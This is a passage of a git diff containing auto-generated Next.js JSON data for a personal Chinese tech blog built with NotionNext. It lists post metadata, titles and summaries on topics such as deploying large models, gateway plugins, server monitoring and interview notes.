erty":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"2024-1-18","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},"recommendPosts":[{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""},{"id":"146219e7-c178-4485-b223-22f4b977333c","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240429-prometheus","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","title":"Prometheus+Grafana多方位监控","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-04-29T03:07:56.545Z","lastEditedDay":"2024-4-29","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","tagItems":[{"name":"推荐","color":"red"},{"name":"运维","color":"gray"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-4.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-4.json new file mode 100644 index 000000000..5c3b31bae --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-4.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-